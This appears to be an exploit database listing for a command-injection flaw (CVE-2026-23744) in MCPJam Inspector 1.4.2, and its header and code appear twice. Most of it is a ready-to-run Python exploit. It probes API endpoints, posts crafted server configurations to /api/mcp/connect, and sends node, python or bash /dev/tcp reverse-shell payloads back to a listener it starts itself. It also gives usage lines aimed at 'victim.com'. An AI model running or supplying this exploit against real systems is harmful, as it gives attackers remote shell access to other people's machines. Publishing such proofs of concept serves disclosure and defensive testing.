9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint...
Basic Information
ID
PACKETSTORM:222614
Published
Jun 3, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : MCPJam Inspector 1.4.2 MCP API Command Injection to Reverse Shell |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/MCPJam/inspector |
==================================================================================================================================
[+] Summary : An advanced Python Proof-of-Concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access.
The script supports multiple payload types, endpoint discovery, listener management, and several exploitation methods for authorized security research and penetration testing.
[+] POC :
1. nc -lvnp 4444
2. python3 exploit.py -l 10.0.0.1 -p 4444 -t https://victim.com
# 3. python3 exploit.py -l 10.0.0.1 -p 4444 -t https://victim.com --scan
# 4. python3 exploit.py -l 10.0.0.1 -p 4444 -t https://victim.com --payload bash
# 5. python3 exploit.py -l 10.0.0.1 -p 4444 -t https://victim.com --timeout 30
#!/usr/bin/env python3
import argparse
import requests
import sys
import time
import threading
import socket
import json as jsonlib
from urllib.parse import urljoin
class CVE202623744:
def __init__(self, rhost, lhost, lport):
self.rhost = rhost.rstrip('/')
self.lhost = lhost
self.lport = int(lport)
self.session = requests.Session()
def check_connectivity(self):
"""Check if target is reachable"""
test_url = urljoin(self.rhost, '/api/mcp/health')
try:
resp = self.session.get(test_url, timeout=5, verify=False)
print(f"[+] Target reachable: {resp.status_code}")
return True
except:
print("[-] Target not reachable")
return False
def start_listener(self):
"""Start netcat listener in a separate thread"""
def listener():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((self.lhost, self.lport))
sock.listen(1)
print(f"[*] Listening on {self.lhost}:{self.lport}")
conn, addr = sock.accept()
print(f"[+] Connection received from {addr}")
while True:
data = conn.recv(1024)
if not data:
break
sys.stdout.write(data.decode())
sys.stdout.flush()
conn.close()
except Exception as e:
print(f"[-] Listener error: {e}")
thread = threading.Thread(target=listener, daemon=True)
thread.start()
time.sleep(1)
return thread
def generate_payload(self, payload_type="node"):
"""Generate different reverse shell payloads"""
payloads = {
"node": f'''(function(){{
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect({self.lport}, "{self.lhost}", function(){{
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
}});
return /a/;
}})();''',
"node_enhanced": f'''(function(){{
var net = require("net"),
cp = require("child_process");
var sh = cp.spawn("bash", ["-i"]);
var client = new net.Socket();
client.connect({self.lport}, "{self.lhost}", function(){{
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.on("error", function(){{}});
}});
}})();''',
"python": f'''import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{self.lhost}",{self.lport}));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);''',
"bash": f'''bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1''',
"b64": f'''echo {self.lhost} {self.lport} | xargs -I {{}} sh -c "bash -i >& /dev/tcp/{{}} 0>&1"''',
"node_short": f'''require("child_process").exec("bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1");'''
}
return payloads.get(payload_type, payloads["node"])
def exploit(self, payload_type="node", timeout=10):
"""
Execute the exploit
"""
print(f"[*] Target: {self.rhost}")
print(f"[*] Callback: {self.lhost}:{self.lport}")
print(f"[*] Payload type: {payload_type}")
self.start_listener()
payload = self.generate_payload(payload_type)
print(f"[*] Payload generated (length: {len(payload)} bytes)")
url = urljoin(self.rhost, '/api/mcp/connect')
request_formats = [
{
"serverId": "x",
"serverConfig": {
"env": {},
"command": "node",
"args": ["-e", payload]
}
},
{
"serverId": "x",
"serverConfig": {
"env": {},
"command": "node",
"args": ["-e", f"eval('{payload}')"]
}
},
{
"serverId": "x",
"serverConfig": {
"env": {},
"command": "sh",
"args": ["-c", f"node -e '{payload}'"]
}
}
]
for idx, json_data in enumerate(request_formats):
print(f"[*] Attempt {idx + 1}/{len(request_formats)}")
try:
resp = self.session.post(
url,
json=json_data,
timeout=timeout,
verify=False,
headers={'Content-Type': 'application/json'}
)
print(f"[*] Response: {resp.status_code}")
print(f"[*] Response body: {resp.text[:200]}")
if resp.status_code == 200:
print("[+] Payload sent successfully!")
print("[*] Check your listener for incoming connection...")
return True
except requests.exceptions.Timeout:
print("[*] Request timed out (may indicate shell execution)")
return True
except Exception as e:
print(f"[-] Error: {e}")
print("[-] Exploit failed")
return False
def fuzz_endpoints(self):
"""
Discover API endpoints
"""
print("[*] Fuzzing API endpoints...")
endpoints = [
'/api/mcp/connect',
'/api/mcp/execute',
'/api/mcp/run',
'/mcp/connect',
'/mcp/execute',
'/api/v1/mcp/connect',
'/api/mcp/shell',
'/api/execute',
'/api/command',
'/api/system/exec'
]
found = []
for endpoint in endpoints:
url = urljoin(self.rhost, endpoint)
try:
resp = self.session.post(url, timeout=5, verify=False)
if resp.status_code != 404:
found.append(endpoint)
print(f"[+] Found: {endpoint} (status: {resp.status_code})")
except:
pass
return found
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-23744 - MCP API Command Injection PoC',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
python3 exploit.py -l 10.0.0.1 -p 4444 -t http://target.com
python3 exploit.py -l 10.0.0.1 -p 4444 -t http://target.com --payload bash
python3 exploit.py -l 10.0.0.1 -p 4444 -t http://target.com --scan
Payload types: node, node_enhanced, python, bash, b64, node_short
'''
)
parser.add_argument('--lhost', '-l', required=True,
help='Listener IP address (your machine)')
parser.add_argument('--lport', '-p', required=True,
help='Listener port')
parser.add_argument('--rhost', '-t', required=True,
help='Target URL (e.g., http://target.com)')
parser.add_argument('--payload', '-P', default='node',
choices=['node', 'node_enhanced', 'python', 'bash', 'b64', 'node_short'],
help='Payload type (default: node)')
parser.add_argument('--scan', '-s', action='store_true',
help='Scan for vulnerable endpoints first')
parser.add_argument('--timeout', '-to', type=int, default=10,
help='Request timeout in seconds (default: 10)')
parser.add_argument('--no-verify', action='store_true', default=True,
help='Disable SSL verification (default: enabled)')
args = parser.parse_args()
if args.no_verify:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
exploit = CVE202623744(args.rhost, args.lhost, args.lport)
print("""
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-23744 - MCP API Command Injection PoC ║
║ ║
║ by indoushka! ║
╚═══════════════════════════════════════════════════════════╝
""")
if args.scan:
endpoints = exploit.fuzz_endpoints()
if endpoints:
print(f"\n[+] Found {len(endpoints)} endpoints: {endpoints}")
else:
print("[-] No endpoints found")
else:
if exploit.check_connectivity():
exploit.exploit(args.payload, args.timeout)
else:
print("[-] Cannot reach target. Exiting.")
if __name__ == '__main__':
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : MCPJam Inspector 1.4.2 MCP API Command Injection to Reverse Shell |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://github.com/MCPJam/inspector |
==================================================================================================================================
[+] Summary : An advanced Python Proof-of-Concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access.
The script supports multiple payload types, endpoint discovery, listener management, and several exploitation methods for authorized security research and penetration testing.
[+] POC :
1. nc -lvnp 4444
2. python3 exploit.py -l 10.0.0.1 -p 4444 -t https://victim.com
# 3. python3 exploit.py -l 10.0.0.1 -p 4444 -t https://victim.com --scan
# 4. python3 exploit.py -l 10.0.0.1 -p 4444 -t https://victim.com --payload bash
# 5. python3 exploit.py -l 10.0.0.1 -p 4444 -t https://victim.com --timeout 30
#!/usr/bin/env python3
import argparse
import requests
import sys
import time
import threading
import socket
import json as jsonlib
from urllib.parse import urljoin
class CVE202623744:
def __init__(self, rhost, lhost, lport):
self.rhost = rhost.rstrip('/')
self.lhost = lhost
self.lport = int(lport)
self.session = requests.Session()
def check_connectivity(self):
"""Check if target is reachable"""
test_url = urljoin(self.rhost, '/api/mcp/health')
try:
resp = self.session.get(test_url, timeout=5, verify=False)
print(f"[+] Target reachable: {resp.status_code}")
return True
except:
print("[-] Target not reachable")
return False
def start_listener(self):
"""Start netcat listener in a separate thread"""
def listener():
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((self.lhost, self.lport))
sock.listen(1)
print(f"[*] Listening on {self.lhost}:{self.lport}")
conn, addr = sock.accept()
print(f"[+] Connection received from {addr}")
while True:
data = conn.recv(1024)
if not data:
break
sys.stdout.write(data.decode())
sys.stdout.flush()
conn.close()
except Exception as e:
print(f"[-] Listener error: {e}")
thread = threading.Thread(target=listener, daemon=True)
thread.start()
time.sleep(1)
return thread
def generate_payload(self, payload_type="node"):
"""Generate different reverse shell payloads"""
payloads = {
"node": f'''(function(){{
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect({self.lport}, "{self.lhost}", function(){{
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
}});
return /a/;
}})();''',
"node_enhanced": f'''(function(){{
var net = require("net"),
cp = require("child_process");
var sh = cp.spawn("bash", ["-i"]);
var client = new net.Socket();
client.connect({self.lport}, "{self.lhost}", function(){{
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
client.on("error", function(){{}});
}});
}})();''',
"python": f'''import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{self.lhost}",{self.lport}));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);''',
"bash": f'''bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1''',
"b64": f'''echo {self.lhost} {self.lport} | xargs -I {{}} sh -c "bash -i >& /dev/tcp/{{}} 0>&1"''',
"node_short": f'''require("child_process").exec("bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1");'''
}
return payloads.get(payload_type, payloads["node"])
def exploit(self, payload_type="node", timeout=10):
"""
Execute the exploit
"""
print(f"[*] Target: {self.rhost}")
print(f"[*] Callback: {self.lhost}:{self.lport}")
print(f"[*] Payload type: {payload_type}")
self.start_listener()
payload = self.generate_payload(payload_type)
print(f"[*] Payload generated (length: {len(payload)} bytes)")
url = urljoin(self.rhost, '/api/mcp/connect')
request_formats = [
{
"serverId": "x",
"serverConfig": {
"env": {},
"command": "node",
"args": ["-e", payload]
}
},
{
"serverId": "x",
"serverConfig": {
"env": {},
"command": "node",
"args": ["-e", f"eval('{payload}')"]
}
},
{
"serverId": "x",
"serverConfig": {
"env": {},
"command": "sh",
"args": ["-c", f"node -e '{payload}'"]
}
}
]
for idx, json_data in enumerate(request_formats):
print(f"[*] Attempt {idx + 1}/{len(request_formats)}")
try:
resp = self.session.post(
url,
json=json_data,
timeout=timeout,
verify=False,
headers={'Content-Type': 'application/json'}
)
print(f"[*] Response: {resp.status_code}")
print(f"[*] Response body: {resp.text[:200]}")
if resp.status_code == 200:
print("[+] Payload sent successfully!")
print("[*] Check your listener for incoming connection...")
return True
except requests.exceptions.Timeout:
print("[*] Request timed out (may indicate shell execution)")
return True
except Exception as e:
print(f"[-] Error: {e}")
print("[-] Exploit failed")
return False
def fuzz_endpoints(self):
"""
Discover API endpoints
"""
print("[*] Fuzzing API endpoints...")
endpoints = [
'/api/mcp/connect',
'/api/mcp/execute',
'/api/mcp/run',
'/mcp/connect',
'/mcp/execute',
'/api/v1/mcp/connect',
'/api/mcp/shell',
'/api/execute',
'/api/command',
'/api/system/exec'
]
found = []
for endpoint in endpoints:
url = urljoin(self.rhost, endpoint)
try:
resp = self.session.post(url, timeout=5, verify=False)
if resp.status_code != 404:
found.append(endpoint)
print(f"[+] Found: {endpoint} (status: {resp.status_code})")
except:
pass
return found
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-23744 - MCP API Command Injection PoC',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
python3 exploit.py -l 10.0.0.1 -p 4444 -t http://target.com
python3 exploit.py -l 10.0.0.1 -p 4444 -t http://target.com --payload bash
python3 exploit.py -l 10.0.0.1 -p 4444 -t http://target.com --scan
Payload types: node, node_enhanced, python, bash, b64, node_short
'''
)
parser.add_argument('--lhost', '-l', required=True,
help='Listener IP address (your machine)')
parser.add_argument('--lport', '-p', required=True,
help='Listener port')
parser.add_argument('--rhost', '-t', required=True,
help='Target URL (e.g., http://target.com)')
parser.add_argument('--payload', '-P', default='node',
choices=['node', 'node_enhanced', 'python', 'bash', 'b64', 'node_short'],
help='Payload type (default: node)')
parser.add_argument('--scan', '-s', action='store_true',
help='Scan for vulnerable endpoints first')
parser.add_argument('--timeout', '-to', type=int, default=10,
help='Request timeout in seconds (default: 10)')
parser.add_argument('--no-verify', action='store_true', default=True,
help='Disable SSL verification (default: enabled)')
args = parser.parse_args()
if args.no_verify:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
exploit = CVE202623744(args.rhost, args.lhost, args.lport)
print("""
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-23744 - MCP API Command Injection PoC ║
║ ║
║ by indoushka! ║
╚═══════════════════════════════════════════════════════════╝
""")
if args.scan:
endpoints = exploit.fuzz_endpoints()
if endpoints:
print(f"\n[+] Found {len(endpoints)} endpoints: {endpoints}")
else:
print("[-] No endpoints found")
else:
if exploit.check_connectivity():
exploit.exploit(args.payload, args.timeout)
else:
print("[-] Cannot reach target. Exiting.")
if __name__ == '__main__':
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================